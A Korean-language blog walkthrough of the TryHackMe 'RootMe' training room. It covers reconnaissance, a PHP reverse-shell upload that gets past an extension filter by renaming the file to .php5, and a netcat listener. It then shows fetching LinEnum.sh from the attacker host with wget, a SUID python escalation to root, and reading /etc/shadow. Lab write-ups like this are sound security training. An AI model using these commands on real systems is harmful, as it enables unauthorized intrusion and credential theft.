- THM의 RootMe를 풀어보자
- Start Machine을 누르고, 1분동안 기다리면 IP Address가 표시된다.
Add 1hour을 눌러서 1시간을 미리 더 채워두면 좋다.
- subl README.md를 통해 정보수집 정리를 해두면 유용하다.
본인만의 편한 방식으로 정리해주면 된다.
- nmap 디렉토리를 추가로 생성해주었고, 해당 디렉토리에 스캐닝을 저장할 것이다.
- cd .. 커맨드로 이전 디렉토리로 이전후, nmap 스캐닝을 해주었다.
해당 경로로 nmap 스캐닝 결과가 저장되었음을 알 수 있다.
- nmap 스캐닝 결과를 열어보자
nmap 스캐닝 결과를 열어본 것이다.
- 80번 포트가 열려있는것으로 보아 웹 사이트가 돌아가는 중일 것이다.
ip를 입력하였더니 해당 화면이 나온다.
- gobuster를 통해 웹 사이트중 어떤 파일들이 있는지 살펴보았다.
눈에 띄는게 2가지 보인다. /panel 그리고 /uploads이다.
- /panel 파일 경로이다. 어떠한 형태를 업로드 하는 형식으로 보인다.
- /uploads 파일경로이다. 아마 /pnael에서 특정 파일을 업로드 하면, 여기에 보일것 같다.
- 유명한 reverse-shell을 사용하여 해결할 것이다.
- Code를 눌러서 Download ZIP을 눌러서 파일을 다운받아준다.
- 다운로드 디렉토리에 php 리버스 쉘이 zip형태로 다운받아져 있다.
unzip을 통해 압축을 해제 후, ls해보면 압축이 풀리고 새로운 디렉토리가 생겨난 것을 확인 해볼 수 있다.
- 새로 생겨난 폴더로 이동해주고, 살펴보면 형광녹색으로 보이는 것들은 실행할 수 있는 파일이라는 의미이다.
- 나는 gedit로 해당 코드를 열었다. 어떤것으로 열어서 수정을 하는지는 본인 선택이다.
- php 리버스 쉘 코드를 열어보면 49번 줄에 ip부분에서 주석을 보면 바꾸라고 되어있다.
본인의 ip주소를 적으면 된다.
왜냐면 공격자의 ip를 적어야 업로드를 시켰을때 해당 ip로 쉘이 오기 때문이다.
- 본인의 ip를 볼려면 ip a를 입력하면 된다.
그러면 tun0로 뜨는 inet옆에 있는 숫자가 본인의 ip주소인 것이다.
- 아까 접속했었던 웹 사이트로 가서 브라우저를 눌러주고,
- File Upload에서 아까 수정했던 php 리버스 쉘을 선택해준다.
- 그리고 Upload를 눌러준다.
- 그러면 딱 봐도 안된다고 뜨는 것 같아 보인다.
여기서 우회 방법을 사용할 것이다.
php는 php5로 확장자를 수정해도 php코드로 잘 동작한다.
단지 확장자를 속이는 것이다.
- 해당 경로로 이동해서 이름 변경을 눌러준뒤, 확장자를 php5로 바꿔준다.
- 아까 파일 업로드로 돌아가서 변경한 확장자를 선택 후 업로드를 해준다.
- 잘 동작한걸 볼 수 있다.
- /uploads 파일 웹 사이트로 가보면 업로드 했던 php리버스 쉘 코드가 올라와 있다.
- nc -lvnp 1234 포트를 열고,
- 해당 파일을 클릭하면,
- 코드가 잘 작동하여, 타겟의 쉘을 휙득한 것을 볼 수 있다.
- whoami와 id를 통해 현재 상태를 확인해볼 수 있다.
- python3 --version을 통해 파이썬의 버전이 뭔지 확인 해보았다.
- pty를 얻는 작업이다. python3 -c 'import pty;pty.spawn("/bin/bash")'를 하면 쉘 pty를 얻을 수 있다.
이제 root로 권한 상승을 해볼 것이다.
권한 상승을 할때 사용할 스크립트는 linenum.sh github이다.
- 구글링 후 해당 깃헙 페이지를 접속하면 된다.
- 접속 후, Raw를 눌러주면 된다.
- 해당 부분 링크를 Copy하면 된다.
- wget으로 다운받아 주고, ls -alh를 통해 LinEnum.sh가 있는걸 확인할 수 있다.
- 파이썬으로 웹 서버를 열어준다.
- 타겟 쉘 화면으로 넘어와서, cd /dev/shm으로 경로를 이동해준다.
/dev/shm 경로는 램에 있는 디렉토리라서 컴퓨터가 꺼지면 자동으로 꺼지기 때문에, 작전보안에 유용하다.
- wget으로 http:// [공격자 ip] : 아까 python 웹 서버 열때 입력한 포트번호 3333/LinEnum.sh 로 공격자의 컴퓨터에 있는 LinEnum.sh를 가져오겠다. 라는 코드이다.
공격자 컴퓨터에도 로그가 남아있는걸 볼 수 있다.
타겟 박스가 LinEnum.sh를 가져갔다. 라고 로그가 뜬다.
- 타겟 쉘에서 실제로 LinEnum.sh가 있는지 확인 해보았다.
LinEnum.sh는 권한상승을 하는데 있어서 정보수집을 도와주는 스크립트이다.
- chmod로 권한을 부여해준다.
- 실행을 해주면 된다.
./LinEnum.sh를 입력하면 이런 형태로 실행이 된다.
그러면 정보수집을 하면서 타겟 박스에서 권한상승을 할 수 있도록 다양한 정보들을 제공한다.
- 그중에서 SUID가 눈에 띈다.
- GTFOBins의 도움을 받을 것이다.
특정한 바이너리 혹은 특정한 프로그램에 SUID가 걸려있을 때, 어떻게 하면 악용할 수 있는지에 대해서 알려준다.
검색란에 python을 입력하면 SUID가 있는걸 볼 수 있다.
공격코드가 나와있는걸 볼 수 있다.
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
그대로 복사하여 타겟 쉘에서 실행해주면 된다.
- 그대로 코드를 실행하면 $모양이 아닌 # 모양의 쉘이 뜬다.
id와 whoami로 살펴보면 root shell임을 알 수 있다.
- cat /etc/shadow도 읽을 수 있다.
- root.txt와 user.txt 둘다 찾을 수 있다.
RootMe 끝!
제 유튜브 채널입니다.
도움이 됐다면, 구독 부탁합니다!
주변에 제 블로그, 유튜브를 알려주시면 감사하겠습니다~! :)
Thank you for watching the blog.
Please subscribe! I would appreciate it if you could share the blog around you.